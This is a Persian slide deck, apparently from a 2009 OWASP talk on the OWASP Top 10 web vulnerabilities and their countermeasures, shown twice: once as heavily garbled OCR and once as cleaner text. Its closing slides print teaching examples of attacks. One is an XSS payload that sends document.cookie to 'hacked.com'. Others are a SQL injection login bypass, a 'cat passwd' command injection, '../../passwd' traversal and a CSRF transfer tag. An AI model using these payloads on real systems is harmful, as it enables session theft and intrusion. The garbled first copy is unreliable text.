کامپیوتر و IT و اینترنتعلوم مهندسی

امنیت نرم افزارهای وب

صفحه 1:
عباس نادری bbus Darkert (des BtrwX) ‏اعنباران انفورماتیک‎ abiusx@etebaran.com abiusx@jframework.info abiusx@owasp.org The OWASP OWASP 10/1/2009 ۱۳۸۹/۷/9

صفحه 2:
امنیت دنیای وب 5 el gw

صفحه 3:
خطر در 9 le do ‏اصلی‎ Cross Site Scripting (XSS) Injection Flaws علناعما عاأع عغأمدمعظ. عريععكما Insecure Direct Object Reference 6۲۵55 5۲6 60۵۲ ۴۵۲9۵۲۷ )65۴۴( Information Leakage and Improper Error Handling Tee Um Clade lle Tomer Cul ld Insecure Cryptographic Storage تس لیا ایتک یات تیا ‎el ee Colt)‏ تست وال یا

صفحه 4:
‎Gite Grripticacy (xGG)‏ ل ات ۳ بیش از 1۲۰ سایتها آسیب پذی 53 مقابله با آن جات مَشکل است هرروزه روشهای جدید فراوانی کشف می شوند جایگزین‌های معمول برای کاربران سختی‌هایی دارند می‌توانند به صورت کرم منتشر شوند

صفحه 5:
0. Cross. Gite Grripiry CGC) روشهای مقابله: * کتابخانه‌های بسیار پیچیده, سنگین و /کند * کتابخانه‌ها نیز ۱۰۰/ مصون نیستند —_— ‏تحريم امکان استفاده از قالب‌بندی‎ ٠ (BBCode) ‏استفاده از سیستم‌های جایگزین‎ ٠ ‏همگامی با دنیای امنیت اطلاعات‎ *

صفحه 6:
eS. 11 (an Fg ‏تزریقات‎ 0001 reer anne: FO) cbs gl RS Eg borne coer CPP eye ‏ا‎ معمولترين دليل هى شدتن و رشوج به سايتها ل ا كل را سا مقابله با أن ۱ 00 ا ار

صفحه 7:
روشهای مقابله: ‎٠‏ استفاده از واسط‌های امن برای دیستوّرات يؤيا ‎sl PreparedStatements jl oolaiwl °‏ ‎SQL‏ = ‎٠‏ عدم استفاده از ۴56۵0109 به عنوان تنها راه ‏* بررسی ورودی * بررسی ليست سفیدی ورودی‌ها

صفحه 8:
2 ‏دا‎ Pile Tachide ‏تزریق کد مخرب‎ ‏احتياج به آكاهى از روش كار‎ ‏معمولا-توسطجتوتتتغةكاقددكان رعايت نمى شود‎ 3 ‏توسط تیمات بستری قابل‎ ‏بسيار بسيار مخرب و خطرّناك"در صورت وجود و كشف‎ eee TO eet ted

صفحه 9:
9. Iesecure Qewvte Pile ‏على !حا"‎ روشهای مقابله: ‎٠»‏ عدم استفاده از کدفایل متغیر رم ‏* بررسی کامل و بسیار دقیق متغیر در آذرس کد * تبیین دقیق قوانین استفاده :

صفحه 10:
4. Insecure Direct Object XT a=) owl ‏ل‎ 9 Roe Ce ‏ا ا‎ rae و * بسيار زمانكير و دشوار جه تكشتف براى نفوذكران

صفحه 11:
4. Insecure Direct Object Reference روشهای مقابله: * تعیین دقیق معماری سیستم و پیروی از آن ° مشخص کردن لایه تعیین دسترسی به همه چیز = ‎٠‏ پیاده‌سازی صحیح روشها و پیروی از معماری

صفحه 12:
5.Cross Site Request Forgery (CSRF) ۳ eae ‏عدم علم توسعه‌دهندگان‎ ‏عدم .درک.صحتتحتوتتت333 هندگان‎ ‏بسیار ساده و قابل انجام‎ ‏مى تواند به غايت حساس و-خطرناك باشد يا نه‎ ‏كاربرى معمول به سادكى برطرف مى شود‎ ‏موارد پیچبه» احتباج به پردازش خروجی دارند‎

صفحه 13:
5.Cross Site Request Forgery (CSRF) روشهای مقابله: * عدم استفاده از 0۴۲ برای فرآیندها * جفتگیری تصادفی در کلاینت و سرور نااتوماتیک 9 قرم ورود به سيستم مجدد در فرآبند 29557 255 ‏جلوگیری از‎ ٠

صفحه 14:
6. Information Leakage and Improper Error Handling ‏نشت اطلاعات و نقص مدیریت خطا‎ we) ‏قدم اول انواع نفوذ‎ ‏تقریبا,تمام,سیستتجها تیب پذیرند‎ ‏اهمیت آن معمولا درنظر گرفته نمی‌شود‎ ‏ارفك‎ Stack Traceb pw 3! JolS Lund 05 0 1. 4 Ay ‏روش هَاى متقابله دستى بسيار كند و هزيتهبر‎

صفحه 15:
6. Information Leakage and Improper Error Handling روشهای مقابله: ‎٠‏ عدم ارائه خطا و ارور در سیستمعملیاتی * تهیه گزارش کامل از همه عملکردهای ثبنیستم * تماس با مدير و امنيت از طریق ای‌میل یاب ‎SMS‏ ‏رائه * استفاده از سیستم‌های اتوماتیک و تنظیم سكو

صفحه 16:
7. Broken Authentication and Session Management ‏سبح : سستض‎ ‏سار ند راتس ند‎ ‏احتیاج به بازنگزی دام و فراوان‎ ‏نقص در روشهاى احراز هويت غيراستاندارد‎ ‏ات‎ Nea ee BCS a

صفحه 17:
7. Broken Authentication and Session Management روشهای مقابله: ‎٠‏ استفاده از یک محور احرازهویت م ‎٠‏ ایجاد نشست‌های مستقل پس‌از احراز هویت ‎٠‏ خروج از سیستم کارا و تخلیه ‎PE el‏ * عدم ارائة اطلاعات تشستى و حساس) ‏© -استفاده أن سيستعهاى بال ‎٠‏ تست و بررسى كد به صورت كامل

صفحه 18:
8. Insecure Cryptographic Storage ‏استفاده تادرست از رمزنگاری‎ ee ee ‏ا‎ ۳ SCs Oui wajccursny eoeereel ‏تكيه كامل بر رمزنكارى ناصحيح‎ نفوذكران معدودى دانش رمتزنكارى كافى دارند

صفحه 19:
8. Insecure Cryptographic Storage روشهای مقابله: * بررسی کد (تست پاسخگو نیست (م عدم استفاده از الگوریتم‌های دستی آموزش استفاده صحیح از الگوریتم‌های — قدرتمند عدم استفاده از الگوریتم‌های منسوخ (ماتَة ‎(mp5‏ عدم استفاده از 000109 ۲۵۲۵

صفحه 20:
9. Insecure Communications 3 a ‏هزينهبر و احتياج به صرف اعد‎ * ۳ 5 ال 0 * راه‌اندازی مور رودا | 7

صفحه 21:
9. Insecure Communications روشهای مقابله: ‎٠‏ استفاده از ا55 در تمام ارتباطاتيرهويت دان ‎٠‏ استفاده از ا55 در تمام فرايندهاى حساس ‏۴ استفاده از گواهینامه معتبر ا55 سس ‏* استفاده از نسخه معتبرا5ه, نسخه ۲ يا ۲15" ‎٠‏ منطق عدم ارائه اطلاعات حساس در ارتباط ناامن توسط برنامه کنترل شود

صفحه 22:
10. Failure to Restrict URL Access ناتوآنی در نود کردن دسترسی متدولوژی غلط 7انستدط ‎Secusitysby‏ ‏ار رت کنترل دسترسی ناصحیح (مثلا بر روی گلاینت) ‎WEIS ee IE NY‏ ل ل لك

صفحه 23:
10. Failure to Restrict URL Access روشهای مقابله: * استفاده از روشهای استاندارد و کلرا (58۳8۸0) * اعمال اتوماتیک مکانیزم کنترل دسترسی * بررسی کد کامل و معماری کارآمد سس ‎٠‏ عدم استفاده از آدرس‌های مخفی

صفحه 24:
جند راهبرد عملى ا للا

صفحه 25:
Cross Site Scripting (XSS) echo $ REQUEST['userinput']; Reflected, Stored and DOM types docoment.write('<form name='fl' action="'hacked.com"'> <input name="sessionID" value=" '+document.cookie+' "' /></form>'); document.forms.fl.submit();

صفحه 26:
SQL Injection $sql = "SELECT * FROM table WHERE id='". $ GET['id'] . ۱ ۰ Text fields, Number Fields!!! Server Code: $R=mysql_query(""SELECT * FROM users WHERE Username= a AND Password='{$Pass}' "') if ($R) echo "' You ‏ی‎ in successfully! "'; Attack: username: foo password: 1 0, '1'-'"1 Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1'

صفحه 27:
Command Injection Server Code: Exec ("mail '".$UserData); UserData: "hi; cat passwd; "' لیست کلمات عبور به همراه متن نامه, به نفوذگر ای‌میل می شوند.

صفحه 28:
Malicious File Execute Include direname(_FILE_)."'/request_handlers/".$R; ‏به صورت پویا درخواست کاربر را پاسخ‎ . . . ‏می پیم‎ User Request: ../../passwd ‏باعث می‌شود فایل رمزهای عبور به جای فایل‎ ‏نمايش داده شود.‎ oS

صفحه 29:
Insecure, Direct Object Reference <select name="language"><option value="ir">Farsi</option></select> Include ($_GET['language’]."lang.php"); <select name="language"><option value="29871268398721">Farsi</o ption></select> Use Salts to prevent Brute-Force!

صفحه 30:
Cross Site Request Forgery (CSRF) <img src="http://www.example.com/transf er.do? frmAcct=document.form.frmAcct &toAcct=4345 754&toSWIFTid=4343 43&amt=3434.43">

صفحه 31:
Insecure Cryptographic Storage $pass=md5($_GET['pass']); // unsafe! www.passcracking.com استفاده صحیح(۱) از الگوریتم‌های صحیح (۲) $pass=hash( "sha-512" , $_GETI['pass'].strtolower($_GET['user']));

صفحه 32:
۱۳ ۳ rer for Wwww.owasp.org : glio

امنیت نرم‌افزارهای وب OWASP 10/1/2009 ۱۳۸۸/۷/9 عباس نادری Abbas Naderi (aka AbiusX) اعتباران انفورماتیک abiusx@etebaran.com abiusx@jframework.info abiusx@owasp.org Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. )(عج تقديم به پيشگاه مقدس امام عصر The OWASP http://www.owasp.org Foundation امنیت دنیای وب سهل انگاری در اوج اهمیت OWASP TOP 10 ۱۰ خطر اصلی Cross Site Scripting (XSS) Injection Flaws Insecure Remote File Include Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access )1.Cross Site Scripting (XSS اسکریپت نویسی مابین سایتی • • • • • بیش از ٪۲۰سایتها آسیب پذیرند مقابله با آن به غایت مشکل است هرروزه روشهای جدید فراوانی کشف می شوند جایگزین‌های معمول برای کاربران سختی‌هایی دارند می‌توانند به صورت کرم منتشر شوند )1. Cross Site Scripting (XSS روشهای Qمقابله: • کتابخانه‌های بسیار پیچیده ،سنگین و کند • کتابخانه‌ها نیز ٪۱۰۰مصون نیستند • تحریم امکان استفاده از قالب‌بندی • استفاده از سیستم‌های جایگزین ()BBCode • همگامی با دنیای امنیت اطالعات • 2. Injection Flaws تزریقات • • • • • • • حدود ٪۱۵سایتها آسیب‌پذیر آسیب‌پذیری بسیار محلک و اعمال آن ساده است در دو دسته آگاهانه و کور انجام می‌گیرد معمول‌ترین دلیل هک شدن و رسوخ به سایت‌ها عالرقم معروفی بسیار ،توسع‌هدهندگان بی‌خبرند مقابله با آن معموال ناقص انجام می‌گیرد در صورت شناخت کافی ،مقابله بسیار آسان است 2. Injection Flaws روشهای Qمقابله: • استفاده از واسط‌های امن برای دستورات پویا • استفاده از PreparedStatementsبرای ‏SQL • عدم استفاده از Escapingبه عنوان تنها راه • بررسی ورودی • بررسی لیست سفیدی ورود‌ی‌ها 3. Insecure Remote File Include تزریق کد مخرب • • • • • احتیاج به آگاهی از روش کار معموال توسط توسع‌هدهندگان رعایت نمی‌شود توسط تنظیمات بستری قابل رفع بسیار بسیار مخرب و خطرناک در صورت وجود و کشف امکان انجام انواع حمالت بدون متوجه شدن سیستم 3. Insecure Remote File Include روشهای Qمقابله: • عدم استفاده از کدفایل متغیر • بررسی کامل و بسیار دقیق متغیر در آدرس کد • تبیین دقیق قوانین استفاده • تنظیمات سکوی اجرا 4. Insecure Direct Object ‏Reference ارائه اطالعات ناخواسته • عدم آگاهی توسع‌هدهندگان • پیچیدگی یافت و جلوگیری • پیش‌آمدن قطعی در سیستم‌های پیچیده • بسیار زمانگیر و دشوار جهت کشف برای نفوذگران 4. Insecure Direct Object ‏Reference روشهای Qمقابله: • تعیین دقیق معماری سیستم و پیروی از آن • مشخص کردن الیه تعیین دسترسی به همه چیز • پیاده‌سازی صحیح روشها و پیروی از معماری 5.Cross Site Request Forgery )(CSRF جعل درخواست بین سایتی • • • • • • عدم علم توسع‌هدهندگان عدم درک صحیح توسع‌هدهندگان بسیار ساده و قابل انجام می‌تواند به غایت حساس و خطرناک باشد یا نه کاربری معمول به سادگی برطرف می‌شود موارد پیچیده احتیاج به پردازش خروجی دارند 5.Cross Site Request Forgery )(CSRF روشهای Qمقابله: • عدم استفاده از GETبرای فرآیندها • جفتگیری تصادفی در کالینت و سرور نااتوماتیک • فرم ورود به سیستم مجدد در فرآیند حساس • جلوگیری از XSS 6. Information Leakage and ‏Improper Error Handling نشت اطالعات و نقص مدیریت خطا • • • • • • قدم اول انواع نفوذ تقریبا تمام سیستم‌ها آسیب پذیرند اهمیت آن معموال درنظر گرفته نمی‌شود آگاهی نسبتا کامل از سیستم با Stack Traceیا SQL روش‌های مقابله اتوماتیک ناکارآمد روش‌های مقابله دستی بسیار کند و هزین‌هبر 6. Information Leakage and ‏Improper Error Handling روشهای Qمقابله: • عدم ارائه خطا و ارور در سیستم عملیاتی • تهیه گزارش کامل از همه عملکردهای سیستم • تماس با مدیر و امنیت از طریق ای‌میل یا ‏SMS • بررسی دقیق و تست کامل محصول قبل‌از ارائه • استفاده از سیستم‌های اتوماتیک و تنظیم سکو 7. Broken Authentication and ‏Session Management احراز هویت و مدیریت نشست ناکارا • • • • بسیار بد و آسیب زننده احتیاج به بازنگری دائم و فراوان نقص در روش‌های احراز هویت غیراستاندارد پیاد‌هسازی دشوار و حساس در سیستم‌های بزرگ 7. Broken Authentication and ‏Session Management روشهای Qمقابله: • استفاده از یک محور احرازهویت • ایجاد نشست‌های مستقل پس‌از احراز هویت • خروج از سیستم کارا و تخلیه اطالعات • عدم ارائه اطالعات نشستی و حساس • استفاده از سیستم‌های بالغ • تست و بررسی کد به صورت کامل 8. Insecure Cryptographic ‏Storage استفاده نادرست از رمزنگاری • • • • • بسیار معمول و خطرناک اکثر توسع‌هدهندگان و تیم آنها دانش رمزنگاری ندارند تکیه کامل بر رمزنگاری ناصحیح نفوذگران معدودی دانش رمزنگاری کافی دارند 8. Insecure Cryptographic Storage روشهای Qمقابله: • بررسی کد (تست پاسخگو نیست( • عدم استفاده از الگوریتم‌های دستی • آموزش استفاده صحیح از الگوریتم‌های قدرتمند • عدم استفاده از الگوریتم‌های منسوخ (مانند )MD5 • عدم استفاده از Hard Coding 9. Insecure Communications ارتباطات ناامن • • • • • هزین‌هبر و احتیاج به صرف اعتبار جهت کسب اعتبار بار بیشتر بر روی سرورها و کالینت‌ها (نامطلوب) عدم درک صحیح از عمق مسئله را‌هاندازی دشوار بر سرور آموزش دشوار در کالینت 9. Insecure Communications روشهای Qمقابله: • استفاده از SSLدر تمام ارتباطات هویت‌دار • استفاده از SSLدر تمام فرآیندهای حساس • استفاده از گواهینامه معتبر SSL • استفاده از نسخه معتبر ،SSLنسخه ۳یا TLS • منطق عدم ارائه اطالعات حساس در ارتباط ناامن توسط برنامه کنترل شود 10. Failure to Restrict URL ‏Access ناتوانی در محدود کردن دسترسی • • • • متدولوژی غلط Security by Obscurity عدم استفاده از کنترل دسترسی محوری کنترل دسترسی ناصحیح (مثال بر روی کالینت) دشواری پیاد‌هسازی و استفاده از روش‌های استاندارد 10. Failure to Restrict URL Access روشهای Qمقابله: • اس•تفاده از روشهای استاندارد و کارا ()‌RBAC • اعمال اتوماتیک مکانیزم کنترل دسترسی • بررسی کد کامل و معماری کارآمد • عدم استفاده از آدرس‌های مخفی چند را‌هبرد عملی پیاده‌روی در اعماق باتالق! Cross Site Scripting (XSS) echo $_REQUEST['userinput']; Reflected, Stored and DOM types docoment.write('<form name='f1' action=''hacked.com''> <input name=''sessionID'' value='' '+document.cookie+' '' /></form>'); document.forms.f1.submit(); SQL Injection $sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' "; Text fields, Number Fields!!! Server Code: $R=mysql_query(''SELECT * FROM users WHERE Username='{$Username}' AND Password='{$Pass}' ''); if ($R) echo '' You logged in successfully! ''; Attack: username: foo password: 1' or '1'='1 Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1' Command Injection Server Code: Exec (''mail ''.$UserData); UserData: '' hi; cat passwd; '' به،لیست کلمات عبور به همراه متن نامه .نفوذگر ای‌میل می شوند Malicious File Execute ;Include direname(__FILE__).''/request_handlers/''.$R به صورت پویا درخواست کاربر را پاسخ می‌گوییم... ‏User Request: ../../passwd باعث می‌شود فایل رمزهای عبور به جای فایل کد نمایش داده شود. Insecure Direct Object Reference <select name="language"><option value="ir">Farsi</option></select> ... Include ($_GET['language']."lang.php"); ... <select name="language"><option value="29871268398721">Farsi</o ption></select> Use Salts to prevent Brute-Force! Cross Site Request Forgery (CSRF) <img src="http://www.example.com/transf er.do? frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=4343 43&amt=3434.43"> Insecure Cryptographic Storage $pass=md5($_GET['pass']); // unsafe! www.passcracking.com )۲( ) از الگوریتم‌های صحیح۱(استفاده صحیح $pass=hash( ''sha-512'' , $_GET['pass'].strtolower($_GET['user'])); سواالت ،پیشنهادات؟ منابع www.owasp.org :

51,000 تومان